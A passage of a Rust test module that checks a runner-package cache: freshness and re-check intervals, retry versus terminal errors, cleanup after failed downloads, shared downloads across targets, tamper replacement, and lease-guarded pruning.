3679    async fn a_stale_entry_that_is_still_the_published_version_is_reused() {
3680        // Past the freshness deadline, but GitHub has published nothing newer.
3681        // There is no fresher package to fetch, so re-downloading identical
3682        // bytes would cost 150-300 MB and change nothing.
3683        //
3684        // **This exits at the `entry(&version)` short-circuit, not at the
3685        // freshness branch** — the published version and the cached one are the
3686        // same, so the entry is found before staleness is ever consulted. An
3687        // earlier comment here claimed the freshness branch, which was wrong:
3688        // that branch is the one where the published version *differs* and the
3689        // cache is still inside the window, and it is pinned by
3690        // `a_cached_version_inside_the_window_is_not_re_downloaded`.
3691        //
3692        // What this test adds over the no-op test is the *staleness* of the
3693        // entry: it asserts that being past the deadline does not by itself
3694        // force a download when there is nothing newer to download.
3695        let (harness, _, _) = linux_fixture();
3696        let cache = harness.cache();
3697        let first = cache.ensure_installed().await.expect("an install");
3698        harness
3699            .clock
3700            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3701
3702        let again = cache.ensure_installed().await.expect("the same entry");
3703
3704        assert!(
3705            cache.is_stale(&first, harness.clock.now()),
3706            "the entry really is past the deadline"
3707        );
3708        assert_eq!(again.version(), first.version());
3709        assert_eq!(harness.fetcher.count(), 1);
3710        assert_eq!(cache.installed().unwrap().len(), 1);
3711    }
3712
3713    #[tokio::test]
3714    async fn an_entry_is_complete_the_moment_it_exists() {
3715        // The manifest lands inside the staging directory and arrives with the
3716        // entry in one rename, so there is no window in which a directory
3717        // exists without it. A directory with no manifest is therefore not an
3718        // entry, and is not returned as one.
3719        let (harness, _, _) = linux_fixture();
3720        let cache = harness.cache();
3721        let installed = cache.ensure_installed().await.expect("an install");
3722        assert!(installed.root().join(MANIFEST_FILE).is_file());
3723
3724        // A directory that this module did not produce.
3725        let impostor = cache.root().join("9.9.9");
3726        fs::create_dir_all(impostor.join("bin")).unwrap();
3727        fs::write(impostor.join("run.sh"), b"not ours").unwrap();
3728
3729        assert!(cache.entry(&version("9.9.9")).unwrap().is_none());
3730        assert_eq!(
3731            cache.installed().unwrap().len(),
3732            1,
3733            "only the real entry counts as installed"
3734        );
3735    }
3736
3737    #[tokio::test]
3738    async fn a_download_that_fails_leaves_no_entry_and_no_file() {
3739        let (harness, _, _) = linux_fixture();
3740        *harness.fetcher.fail.lock().unwrap() = true;
3741        let cache = harness.cache().with_retry_budget(1);
3742
3743        assert!(cache.ensure_installed().await.is_err());
3744
3745        assert!(cache.installed().unwrap().is_empty());
3746        let leftovers = all_paths(cache.root());
3747        assert_eq!(
3748            leftovers,
3749            vec![".staging".to_string()],
3750            "a failed download leaves an empty staging directory and nothing else"
3751        );
3752    }
3753
3754    #[tokio::test]
3755    async fn a_verified_package_that_will_not_extract_still_leaves_nothing_behind() {
3756        // The interesting interruption: the bytes are exactly what GitHub
3757        // published — the digest matches — and extraction fails anyway. The
3758        // downloaded file exists at that point, so this is the path where a
3759        // missing cleanup would actually leak a 150-300 MB file.
3760        let payload = b"this verifies but is not a gzip stream".to_vec();
3761        let harness = Harness::new(
3762            vec![published(
3763                "linux",
3764                "x64",
3765                "2.330.0",
3766                ".tar.gz",
3767                Some(&hex_digest(&payload)),
3768            )],
3769            payload,
3770        );
3771        let cache = harness.cache().with_retry_budget(1);
3772
3773        let error = cache.ensure_installed().await.unwrap_err();
3774        let inner = match &error {
3775            PackageError::Exhausted { source, .. } => source.as_ref(),
3776            other => other,
3777        };
3778        assert!(
3779            matches!(inner, PackageError::Extract { .. }),
3780            "expected an extraction failure, got {error:?}"
3781        );
3782
3783        let wrote = harness.fetcher.wrote();
3784        assert_eq!(wrote.len(), 1, "the download did happen");
3785        assert!(
3786            !wrote[0].exists(),
3787            "the verified-but-unusable download at {:?} must still be removed",
3788            wrote[0]
3789        );
3790        assert!(cache.installed().unwrap().is_empty());
3791
3792        // Whatever the half-extraction left is staging litter, and the sweep
3793        // clears it.
3794        let before = all_paths(cache.root());
3795        assert!(
3796            before.iter().all(|path| path.starts_with(".staging")),
3797            "only staging litter may survive; found {before:?}"
3798        );
3799        cache.sweep_staging().expect("a sweep");
3800        assert_eq!(
3801            all_paths(cache.root()),
3802            vec![".staging".to_string()],
3803            "the sweep empties staging, leaving only the directory itself"
3804        );
3805    }
3806
3807    // =====================================================================
3808    // DoD 5 — freshness, and the version rejection that must not retry.
3809    // =====================================================================
3810
3811    #[tokio::test]
3812    async fn a_cached_version_more_than_thirty_days_behind_is_refreshed_before_a_cold_start() {
3813        let (harness, _, _) = linux_fixture();
3814        let cache = harness.cache();
3815        let first = cache.ensure_installed().await.expect("the first install");
3816        assert_eq!(first.version(), &version("2.330.0"));
3817
3818        // A new release, and the cached entry is now past the deadline.
3819        let newer = tar_gz_bytes(&[("run.sh", "#!/bin/sh\necho newer\n")]);
3820        harness.catalog.publish(vec![published(
3821            "linux",
3822            "x64",
3823            "2.340.0",
3824            ".tar.gz",
3825            Some(&hex_digest(&newer)),
3826        )]);
3827        harness.fetcher.serve(newer);
3828        harness
3829            .clock
3830            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3831
3832        let second = cache.ensure_installed().await.expect("a refresh");
3833
3834        assert_eq!(second.version(), &version("2.340.0"));
3835        assert_eq!(harness.fetcher.count(), 2, "the newer package was fetched");
3836        assert_eq!(
3837            cache.installed().unwrap().len(),
3838            2,
3839            "the old entry is not removed by a refresh; pruning is a separate, \
3840             guarded decision"
3841        );
3842    }
3843
3844    #[tokio::test]
3845    async fn a_cached_version_inside_the_window_is_not_re_downloaded() {
3846        // The other half of the rule, and the one that keeps a 150-300 MB
3847        // download from following every point release.
3848        let (harness, _, _) = linux_fixture();
3849        let cache = harness.cache();
3850        cache.ensure_installed().await.expect("the first install");
3851
3852        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
3853        harness.catalog.publish(vec![published(
3854            "linux",
3855            "x64",
3856            "2.340.0",
3857            ".tar.gz",
3858            Some(&hex_digest(&newer)),
3859        )]);
3860        harness.fetcher.serve(newer);
3861        harness
3862            .clock
3863            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS - 1));
3864
3865        let second = cache.ensure_installed().await.expect("the cached entry");
3866
3867        assert_eq!(second.version(), &version("2.330.0"));
3868        assert_eq!(harness.fetcher.count(), 1, "nothing new was downloaded");
3869    }
3870
3871    #[tokio::test]
3872    async fn the_freshness_boundary_is_the_documented_thirty_days() {
3873        let (harness, _, _) = linux_fixture();
3874        let cache = harness.cache();
3875        let installed = cache.ensure_installed().await.expect("an install");
3876        let installed_at = installed.installed_at();
3877
3878        assert!(!cache.is_stale(&installed, installed_at));
3879        assert!(!cache.is_stale(
3880            &installed,
3881            installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS)
3882        ));
3883        assert!(cache.is_stale(
3884            &installed,
3885            installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS) + Elapsed::seconds(1)
3886        ));
3887    }
3888
3889    #[tokio::test]
3890    async fn the_published_version_is_re_checked_only_on_a_bounded_interval() {
3891        let (harness, _, _) = linux_fixture();
3892        let cache = harness.cache();
3893        cache.ensure_installed().await.expect("the first install");
3894        assert_eq!(harness.catalog.calls(), 1);
3895
3896        // Inside the interval: no REST call at all.
3897        harness
3898            .clock
3899            .advance(Elapsed::hours(CHECK_INTERVAL_HOURS - 1));
3900        cache.ensure_installed().await.expect("a cached answer");
3901        assert_eq!(
3902            harness.catalog.calls(),
3903            1,
3904            "a cold start inside the interval must not re-check"
3905        );
3906
3907        // Past it: one more.
3908        harness.clock.advance(Elapsed::hours(2));
3909        cache.ensure_installed().await.expect("a re-check");
3910        assert_eq!(harness.catalog.calls(), 2);
3911    }
3912
3913    #[tokio::test]
3914    async fn a_stale_entry_forces_a_re_check_even_inside_the_interval() {
3915        // The interval saves REST budget; there is no budget worth saving once
3916        // the package on disk is one GitHub may refuse.
3917        let (harness, _, _) = linux_fixture();
3918        let cache = harness.cache();
3919        cache.ensure_installed().await.expect("an install");
3920        assert_eq!(harness.catalog.calls(), 1);
3921
3922        harness
3923            .clock
3924            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3925        // The last check is now 31 days old, so it is due anyway; wind it
3926        // forward by re-checking, then step only a minute.
3927        cache.ensure_installed().await.expect("a re-check");
3928        let after_recheck = harness.catalog.calls();
3929        harness.clock.advance(Elapsed::minutes(1));
3930
3931        cache.ensure_installed().await.expect("another cold start");
3932
3933        assert_eq!(
3934            harness.catalog.calls(),
3935            after_recheck + 1,
3936            "a stale entry must be re-checked on every cold start, interval or not"
3937        );
3938    }
3939
3940    #[tokio::test]
3941    async fn a_version_rejection_is_terminal_and_produces_no_retry() {
3942        let (harness, _, _) = linux_fixture();
3943        let harness = harness.with_catalog(FakeCatalog::answering(Answer::Rejected));
3944        // A budget of three, deliberately: if the rejection were treated as
3945        // retryable, the counter below would read three.
3946        let cache = harness.cache().with_retry_budget(3);
3947
3948        let error = cache.ensure_installed().await.unwrap_err();
3949
3950        assert!(
3951            matches!(error, PackageError::VersionRejected { .. }),
3952            "expected a version rejection, got {error:?}"
3953        );
3954        assert!(error.is_terminal());
3955        assert_eq!(
3956            error.failure_reason(),
3957            Some(FailureReason::RunnerVersionRejected),
3958            "the domain already names this; no second vocabulary"
3959        );
3960        assert!(
3961            error.operator_action().is_some(),
3962            "a terminal condition owes the operator an action"
3963        );
3964        assert!(
3965            error.to_string().contains("cannot succeed"),
3966            "the message must say retrying is pointless: `{error}`"
3967        );
3968        assert_eq!(
3969            harness.catalog.calls(),
3970            1,
3971            "a version rejection must be attempted exactly once"
3972        );
3973        assert_eq!(harness.fetcher.count(), 0);
3974    }
3975
3976    #[tokio::test]
3977    async fn a_retryable_catalog_failure_does_spend_the_whole_budget() {
3978        // The contrast that gives the assertion above its meaning: with the
3979        // same budget and the same code path, a retryable answer is retried
3980        // three times. Without this, "calls == 1" could just mean the retry
3981        // loop never worked at all.
3982        let (harness, _, _) = linux_fixture();
3983        let harness = harness.with_catalog(FakeCatalog::answering(Answer::Unavailable));
3984        let cache = harness.cache().with_retry_budget(3);
3985
3986        let error = cache.ensure_installed().await.unwrap_err();
3987
3988        assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3989        assert_eq!(
3990            harness.catalog.calls(),
3991            3,
3992            "a retryable failure must spend the budget"
3993        );
3994        assert!(
3995            error.operator_action().is_none(),
3996            "the answer to a transient failure is to wait, not to act"
3997        );
3998    }
3999
4000    /// One `PackageError` variant's name, by an **exhaustive** match.
4001    ///
4002    /// This is the mechanism that keeps the classification table below honest.
4003    /// Two hand-written sample lists preceded it, and between them they omitted
4004    /// `Io` and `Exhausted` entirely — a new variant joined neither list and
4005    /// nothing complained. Adding a variant now stops this function compiling,
4006    /// which puts the author in front of the table, and the coverage assertion
4007    /// in `every_variant_is_classified_and_classification_matches_the_remedy`
4008    /// then fails until a sample joins it.
4009    fn variant_name(error: &PackageError) -> &'static str {
4010        match error {
4011            PackageError::UnsupportedHost(_) => "UnsupportedHost",
4012            PackageError::NoPackagePublished { .. } => "NoPackagePublished",
4013            PackageError::ChecksumAbsent { .. } => "ChecksumAbsent",
4014            PackageError::ChecksumMismatch { .. } => "ChecksumMismatch",
4015            PackageError::MalformedDigest { .. } => "MalformedDigest",
4016            PackageError::VersionRejected { .. } => "VersionRejected",
4017            PackageError::CatalogUnavailable { .. } => "CatalogUnavailable",
4018            PackageError::Download { .. } => "Download",
4019            PackageError::UnrecognisedVersion { .. } => "UnrecognisedVersion",
4020            PackageError::UnsupportedArchive { .. } => "UnsupportedArchive",
4021            PackageError::UnsafeArchiveEntry { .. } => "UnsafeArchiveEntry",
4022            PackageError::Extract { .. } => "Extract",
4023            PackageError::VersionInUse { .. } => "VersionInUse",
4024            PackageError::VersionHeldByUnknownAttempt { .. } => "VersionHeldByUnknownAttempt",
4025            PackageError::UnreadableLease { .. } => "UnreadableLease",
4026            PackageError::WorkspaceInsideCache { .. } => "WorkspaceInsideCache",
4027            PackageError::NotInstalled { .. } => "NotInstalled",
4028            PackageError::Io { .. } => "Io",
4029            PackageError::Exhausted { .. } => "Exhausted",
4030        }
4031    }
4032
4033    /// How many variants `variant_name` covers.
4034    ///
4035    /// Bumped by hand, and the assertion that uses it is what makes forgetting
4036    /// impossible to do quietly: a new variant that reaches `variant_name` but
4037    /// not the sample table fails the coverage check, and bumping this without
4038    /// adding a sample fails it too.
4039    const PACKAGE_ERROR_VARIANTS: usize = 19;
4040
4041    #[test]
4042    fn every_variant_is_classified_and_classification_matches_the_remedy() {
4043        // One table, every variant, each declaring what it should be. The two
4044        // separate lists this replaced could not express "these are all of
4045        // them", which is how `Io` and `Exhausted` went untested.
4046        let samples: Vec<(PackageError, bool)> = vec![
4047            (
4048                PackageError::Io {
4049                    what: "read",
4050                    path: PathBuf::from("x"),
4051                    source: io::Error::other("disk"),
4052                },
4053                false,
4054            ),
4055            (
4056                PackageError::Exhausted {
4057                    attempts: 3,
4058                    source: Box::new(PackageError::Download {
4059                        detail: "reset".to_string(),
4060                    }),
4061                },
4062                true,
4063            ),
4064            (
4065                PackageError::UnreadableLease {
4066                    path: PathBuf::from("x.lease"),
4067                },
4068                true,
4069            ),
4070            (
4071                PackageError::ChecksumMismatch {
4072                    version: version("2.330.0"),
4073                    expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4074                    actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4075                },
4076                false,
4077            ),
4078            (
4079                PackageError::CatalogUnavailable {
4080                    detail: "502".to_string(),
4081                },
4082                false,
4083            ),
4084            (
4085                PackageError::Download {
4086                    detail: "reset".to_string(),
4087                },
4088                false,
4089            ),
4090            (
4091                PackageError::Extract {
4092                    detail: "short read".to_string(),
4093                },
4094                false,
4095            ),
4096            (
4097                PackageError::UnsupportedHost(UnsupportedHost::UndocumentedPair {
4098                    os: Os::Windows,
4099                    arch: Arch::Arm32,
4100                }),
4101                true,
4102            ),
4103            (
4104                PackageError::NoPackagePublished {
4105                    os: Os::Linux,
4106                    arch: Arch::Arm32,
4107                },
4108                true,
4109            ),
4110            (
4111                PackageError::ChecksumAbsent {
4112                    version: version("2.330.0"),
4113                    os: Os::Linux,
4114                    arch: Arch::X64,
4115                    published: PublishedChecksum::Absent,
4116                },
4117                true,
4118            ),
4119            (
4120                PackageError::MalformedDigest {
4121                    raw: "nope".to_string(),
4122                },
4123                true,
4124            ),
4125            (
4126                PackageError::VersionRejected {
4127                    version: None,
4128                    detail: None,
4129                },
4130                true,
4131            ),
4132            (
4133                PackageError::UnrecognisedVersion {
4134                    raw: "nope".to_string(),
4135                },
4136                true,
4137            ),
4138            (
4139                PackageError::UnsupportedArchive {
4140                    filename: "x.rar".to_string(),
4141                },
4142                true,
4143            ),
4144            (
4145                PackageError::UnsafeArchiveEntry {
4146                    entry: "../x".to_string(),
4147                },
4148                true,
4149            ),
4150            (
4151                PackageError::VersionInUse {
4152                    version: version("2.330.0"),
4153                    attempt: fixtures::ATTEMPT_ID,
4154                    state: AttemptState::Busy,
4155                },
4156                true,
4157            ),
4158            (
4159                PackageError::VersionHeldByUnknownAttempt {
4160                    version: version("2.330.0"),
4161                    attempt: fixtures::ATTEMPT_ID,
4162                },
4163                true,
4164            ),
4165            (
4166                PackageError::WorkspaceInsideCache {
4167                    attempt: fixtures::ATTEMPT_ID,
4168                    path: PathBuf::from("x"),
4169                },
4170                true,
4171            ),
4172            (
4173                PackageError::NotInstalled {
4174                    version: version("2.330.0"),
4175                },
4176                true,
4177            ),
4178        ];
4179
4180        let covered: std::collections::BTreeSet<&'static str> = samples
4181            .iter()
4182            .map(|(error, _)| variant_name(error))
4183            .collect();
4184        assert_eq!(
4185            covered.len(),
4186            PACKAGE_ERROR_VARIANTS,
4187            "every variant needs a sample; covered {covered:?}"
4188        );
4189
4190        for (error, terminal) in samples {
4191            let name = variant_name(&error);
4192            assert_eq!(
4193                error.is_terminal(),
4194                terminal,
4195                "{name} is classified the wrong way"
4196            );
4197            // `03-control-flows.md` calls the terminal ones "operator-
4198            // actionable": every one must say what to do, and a retryable one
4199            // must not, because the answer there is to wait.
4200            //
4201            // `Exhausted` is the exception that proves the rule — it is
4202            // terminal and delegates both its action and its journal reason to
4203            // whatever the budget was spent on, so it has an action only when
4204            // that inner error does.
4205            if name == "Exhausted" {
4206                continue;
4207            }
4208            assert_eq!(
4209                error.operator_action().is_some(),
4210                terminal,
4211                "{name}: a terminal condition owes an action and a retryable one does not"
4212            );
4213        }
4214    }
4215
4216    #[test]
4217    fn a_removed_sample_is_caught_by_the_coverage_assertion() {
4218        // The coverage check above is the only thing standing between a new
4219        // variant and going untested, so it gets its own negative control.
4220        let short: Vec<PackageError> = vec![PackageError::NotInstalled {
4221            version: version("2.330.0"),
4222        }];
4223        let covered: std::collections::BTreeSet<&'static str> =
4224            short.iter().map(variant_name).collect();
4225        assert_ne!(
4226            covered.len(),
4227            PACKAGE_ERROR_VARIANTS,
4228            "an incomplete sample list must not satisfy the coverage check"
4229        );
4230    }
4231
4232    #[test]
4233    fn exhaustion_reports_the_reason_the_budget_was_spent_on() {
4234        let exhausted = PackageError::Exhausted {
4235            attempts: 3,
4236            source: Box::new(PackageError::ChecksumMismatch {
4237                version: version("2.330.0"),
4238                expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4239                actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4240            }),
4241        };
4242        assert!(exhausted.is_terminal(), "the budget is spent");
4243        assert_eq!(
4244            exhausted.failure_reason(),
4245            Some(FailureReason::RunnerPackageUnverified),
4246            "the journal reason comes from what actually failed"
4247        );
4248    }
4249
4250    // =====================================================================
4251    // DoD 6 — pruning refuses a version a non-terminal attempt references,
4252    // and succeeds once that attempt is terminal.
4253    // =====================================================================
4254
4255    /// An attempt in `state`, with a runtime under the runtime directory where
4256    /// `e3` will actually put it.
4257    fn attempt_in(harness: &Harness, id: u128, state: AttemptState) -> RunnerAttempt {
4258        let id = AttemptId::from_u128(id);
4259        let runtime = harness
4260            .paths
4261            .runtime_dir()
4262            .join(fixtures::POLICY_ID.to_string())
4263            .join(id.to_string());
4264        fixtures::attempt()
4265            .id(id)
4266            .state(state)
4267            .runtime_path(runtime.to_string_lossy().to_string())
4268            .build()
4269    }
4270
4271    /// An attempt about to be materialized, with its runner root in place.
4272    fn reserved(harness: &Harness, id: u128) -> RunnerAttempt {
4273        let attempt = attempt_in(harness, id, AttemptState::Allocated);
4274        fs::create_dir_all(attempt.runtime_path().parent().unwrap()).unwrap();
4275        attempt
4276    }
4277
4278    /// One daemon's adapter for each of two targets over one package directory.
4279    fn two_targets(
4280        harness: &Harness,
4281    ) -> (
4282        crate::lifecycle::CachedRuntimePackages,
4283        crate::lifecycle::CachedRuntimePackages,
4284        crate::lifecycle::SharedPackages,
4285    ) {
4286        use crate::lifecycle::{CachedRuntimePackages, SharedPackages};
4287        let shared = SharedPackages::default();
4288        (
4289            CachedRuntimePackages::new(
4290                Arc::new(harness.cache().with_last_check(shared.last_check())),
4291                shared.clone(),
4292            ),
4293            CachedRuntimePackages::new(
4294                Arc::new(harness.cache().with_last_check(shared.last_check())),
4295                shared.clone(),
4296            ),
4297            shared,
4298        )
4299    }
4300
4301    /// The 142 s launch: each target distrusted the tree the other installed,
4302    /// so every switch between them downloaded the package again.
4303    #[tokio::test]
4304    async fn switching_between_targets_does_not_download_the_package_again() {
4305        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
4306
4307        let (harness, _, _) = linux_fixture();
4308        let (one, two, _shared) = two_targets(&harness);
4309        for (id, packages) in [(1, &one), (2, &two), (3, &one), (4, &two)] {
4310            let attempt = reserved(&harness, id);
4311            let mut timings = PackageTimings::default();
4312            packages
4313                .materialize(&attempt, &mut timings)
4314                .await
4315                .expect("materialized");
4316            assert!(attempt.runtime_path().join("run.sh").exists());
4317            assert_eq!(timings.downloaded, id == 1, "attempt {id}: {timings:?}");
4318        }
4319        assert_eq!(harness.fetcher.count(), 1);
4320        assert_eq!(harness.catalog.calls(), 1, "one check, not one per target");
4321    }
4322
4323    #[tokio::test]
4324    async fn launches_materializing_together_share_one_download() {
4325        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
4326
4327        let (harness, _, _) = linux_fixture();
4328        let (one, two, _shared) = two_targets(&harness);
4329        let first = reserved(&harness, 1);
4330        let second = reserved(&harness, 2);
4331
4332        let (mut one_timings, mut two_timings) =
4333            (PackageTimings::default(), PackageTimings::default());
4334        let (a, b) = tokio::join!(
4335            one.materialize(&first, &mut one_timings),
4336            two.materialize(&second, &mut two_timings)
4337        );
4338
4339        a.expect("the first");
4340        b.expect("the second");
4341        assert_eq!(harness.fetcher.count(), 1);
4342    }
4343
4344    /// Still replaced when a job edits it, whichever target notices.
4345    #[cfg(unix)]
4346    #[tokio::test]
4347    async fn a_tree_a_job_edited_is_replaced_for_every_target() {
4348        use crate::lifecycle::{PackageTimings, RuntimePackages as _};
4349
4350        let (harness, _, _) = linux_fixture();
4351        let (one, two, _shared) = two_targets(&harness);
4352        one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
4353            .await
4354            .expect("materialized");
4355        let entry = harness.cache().installed().unwrap().remove(0);
4356        fs::write(entry.root().join("planted"), b"from a job").unwrap();
4357
4358        two.materialize(&reserved(&harness, 2), &mut PackageTimings::default())
4359            .await
4360            .expect("materialized");
4361
4362        assert_eq!(harness.fetcher.count(), 2);
4363        assert!(!entry.root().join("planted").exists());
4364    }
4365
4366    /// A superseded version goes only when no copy or install is under way.
4367    #[tokio::test]
4368    async fn a_prune_leaves_the_trees_alone_while_they_are_in_use() {
4369        use crate::lifecycle::{PackageTimings, PruneAuthority, RuntimePackages as _};
4370        use crate::reconcile::{AllocationLock as _, InProcessAllocationLock};
4371
4372        let (harness, _, _) = linux_fixture();
4373        let (one, _two, shared) = two_targets(&harness);
4374        one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
4375            .await
4376            .expect("materialized");
4377        one.release(AttemptId::from_u128(1)).expect("released");
4378        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
4379        harness.catalog.publish(vec![published(
4380            "linux",
4381            "x64",
4382            "2.340.0",
4383            ".tar.gz",
4384            Some(&hex_digest(&newer)),
4385        )]);
4386        harness.fetcher.serve(newer);
4387        harness
4388            .clock
4389            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4390        let cache = harness.cache();
4391        cache.ensure_installed().await.expect("the newer install");
4392        assert_eq!(cache.installed().unwrap().len(), 2);
4393
4394        let lock = InProcessAllocationLock::new();
4395        let guard = lock.acquire().await.unwrap();
4396        {
4397            let _copying = shared.copying().await;
4398            one.prune_obsolete_guarded(PruneAuthority::for_test(&guard), &[])
4399                .expect("nothing to do yet");
4400            assert_eq!(cache.installed().unwrap().len(), 2);
4401        }
4402        one.prune_obsolete_guarded(PruneAuthority::for_test(&guard), &[])
4403            .expect("pruned");
4404        let left = cache.installed().unwrap();
4405        assert_eq!(left.len(), 1);
4406        assert_eq!(left[0].version(), &version("2.340.0"));
4407    }
4408
4409    #[tokio::test]
4410    async fn reinstall_replaces_a_tampered_entry_with_a_verified_download() {
4411        let (harness, _, _) = linux_fixture();
4412        let cache = harness.cache();
4413        let first = cache.ensure_installed().await.expect("the first install");
4414        assert_eq!(harness.fetcher.count(), 1);
4415
4416        // A job rewrites a file in the entry it can reach.
4417        let planted = first.root().join("planted");
4418        fs::write(&planted, b"from a job").unwrap();
4419
4420        let fresh = cache.reinstall().await.expect("the reinstall");
4421
4422        assert_eq!(fresh.version(), first.version());
4423        assert_eq!(
4424            harness.fetcher.count(),
4425            2,
4426            "the package was downloaded again"
4427        );
4428        assert!(!planted.exists(), "the tampered tree is gone");
4429        assert_eq!(
4430            cache.installed().unwrap().len(),
4431            1,
4432            "the reinstalled entry is the only one left"
4433        );
4434        // Removed in the background.
4435        let staged = || {
4436            fs::read_dir(cache.staging_root())
4437                .map(|entries| entries.count())
4438                .unwrap_or(0)
4439        };
4440        for _ in 0..500 {
4441            if staged() == 0 {
4442                break;
4443            }
4444            tokio::time::sleep(std::time::Duration::from_millis(10)).await;
4445        }
4446        assert_eq!(staged(), 0, "the set-aside tree is removed");
4447    }
4448
4449    #[tokio::test]
4450    async fn ensure_installed_reports_only_the_install_that_downloaded() {
4451        let (harness, _, _) = linux_fixture();
4452        let cache = harness.cache();
4453        let (first, downloaded) = cache.ensure_installed_reporting().await.unwrap();
4454        assert!(downloaded, "an empty cache downloads");
4455        let (again, downloaded) = cache.ensure_installed_reporting().await.unwrap();
4456        assert_eq!(again.root(), first.root());
4457        assert!(!downloaded, "an entry on disk is reused, not downloaded");
4458        assert_eq!(harness.fetcher.count(), 1);
4459    }
4460
4461    async fn cache_with_one_entry(harness: &Harness) -> PackageCache {
4462        let cache = harness.cache();
4463        cache.ensure_installed().await.expect("an install");
4464        cache
4465    }
4466
4467    #[tokio::test]
4468    async fn pruning_refuses_a_version_a_non_terminal_attempt_references() {
4469        let (harness, _, _) = linux_fixture();
4470        let cache = cache_with_one_entry(&harness).await;
4471        let held = version("2.330.0");
4472
4473        // Every non-terminal state, because "non-terminal" is `b1`'s definition
4474        // and this guard must agree with it rather than with a hand-picked
4475        // subset.
4476        for state in AttemptState::ALL.iter().filter(|s| !s.is_terminal()) {
4477            let attempt = attempt_in(&harness, 0x100, *state);
4478            cache.lease(&attempt, &held).expect("a lease");
4479
4480            let error = cache
4481                .prune(&held, std::slice::from_ref(&attempt))
4482                .unwrap_err();
4483
4484            assert!(
4485                matches!(error, PackageError::VersionInUse { .. }),
4486                "state `{state}` should hold the version, got {error:?}"
4487            );
4488            assert!(error.is_terminal());
4489            assert!(error.operator_action().is_some());
4490            assert!(
4491                cache.entry(&held).unwrap().is_some(),
4492                "a refused prune must leave the entry in place"
4493            );
4494            cache.release(attempt.id).expect("release");
4495        }
4496    }
4497
4498    #[tokio::test]
4499    async fn pruning_succeeds_once_the_holding_attempt_is_terminal() {
4500        let (harness, _, _) = linux_fixture();
4501        let cache = cache_with_one_entry(&harness).await;
4502        let held = version("2.330.0");
4503
4504        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4505        cache.lease(&live, &held).expect("a lease");
4506        assert_eq!(cache.holders(&held).unwrap(), vec![live.id]);
4507
4508        // Refused while it is running...
4509        assert!(cache.prune(&held, std::slice::from_ref(&live)).is_err());
4510        let root = cache
4511            .entry(&held)
4512            .unwrap()
4513            .expect("still there")
4514            .root()
4515            .to_path_buf();
4516        assert!(root.is_dir());
4517
4518        // ...and allowed the moment the same attempt is terminal.
4519        for state in AttemptState::ALL.iter().filter(|s| {
4520            matches!(
4521                s,
4522                AttemptState::Finished
4523                    | AttemptState::Failed
4524                    | AttemptState::Orphaned
4525                    | AttemptState::Cleaned
4526            )
4527        }) {
4528            let concluded = attempt_in(&harness, 0x100, *state);
4529            assert!(concluded.is_terminal());
4530            // Re-create the entry for each terminal state so each is a real
4531            // prune rather than a no-op on an already-empty cache.
4532            if cache.entry(&held).unwrap().is_none() {
4533                cache.ensure_installed().await.expect("re-install");
4534                cache.lease(&concluded, &held).expect("a lease");
4535            }
4536
4537            cache
4538                .prune(&held, std::slice::from_ref(&concluded))
4539                .unwrap_or_else(|error| panic!("state `{state}` should allow a prune: {error}"));
4540
4541            assert!(
4542                cache.entry(&held).unwrap().is_none(),
4543                "state `{state}` should have pruned the entry"
4544            );
4545            assert!(
4546                cache.holders(&held).unwrap().is_empty(),
4547                "a spent lease is released with the entry"
4548            );
4549        }
4550    }
4551
4552    #[tokio::test]
4553    async fn pruning_refuses_a_version_held_by_an_attempt_the_caller_did_not_report() {
4554        // `e1` documents that a launcher's newly created attempt may not be
4555        // visible to `attempts()` yet. Reading "absent" as "gone" would delete
4556        // a package out from under a starting runner, so the ambiguous case
4557        // fails closed.
4558        let (harness, _, _) = linux_fixture();
4559        let cache = cache_with_one_entry(&harness).await;
4560        let held = version("2.330.0");
4561        let attempt = attempt_in(&harness, 0x100, AttemptState::Starting);
4562        cache.lease(&attempt, &held).expect("a lease");
4563
4564        let error = cache.prune(&held, &[]).unwrap_err();
4565
4566        assert!(
4567            matches!(error, PackageError::VersionHeldByUnknownAttempt { .. }),
4568            "expected a fail-closed refusal, got {error:?}"
4569        );
4570        assert!(cache.entry(&held).unwrap().is_some());
4571        assert!(
4572            error
4573                .operator_action()
4574                .unwrap()
4575                .contains("release the lease"),
4576            "the refusal must name the way out, got `{}`",
4577            error.operator_action().unwrap()
4578        );
4579
4580        // And the named remedy works.
4581        cache.release(attempt.id).expect("release");
4582        cache.prune(&held, &[]).expect("a released version prunes");
4583        assert!(cache.entry(&held).unwrap().is_none());
4584    }
4585
4586    #[tokio::test]
4587    async fn a_corrupt_lease_refuses_a_prune_rather_than_vanishing() {
4588        // Everything else in this guard fails closed, including an attempt the
4589        // caller did not report. A lease file that cannot be parsed must not be
4590        // the one thing that fails open — "unreadable" is not "nothing holds
4591        // this version", and a lease is written non-atomically, so a crash
4592        // mid-write leaves exactly this shape.
4593        let (harness, _, _) = linux_fixture();
4594        let cache = cache_with_one_entry(&harness).await;
4595        let held = version("2.330.0");
4596        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4597        cache.lease(&live, &held).expect("a lease");
4598
4599        // Truncate it the way an interrupted write would.
4600        let lease_file = cache.lease_path(live.id);
4601        assert!(lease_file.is_file(), "the lease must exist to be corrupted");
4602        fs::write(&lease_file, b"{\"version\":\"2.33").expect("corrupt the lease");
4603
4604        let error = cache.prune(&held, &[]).unwrap_err();
4605
4606        assert!(
4607            matches!(error, PackageError::UnreadableLease { .. }),
4608            "expected a refusal naming the unreadable lease, got {error:?}"
4609        );
4610        assert!(error.is_terminal());
4611        assert!(error.operator_action().is_some());
4612        assert!(
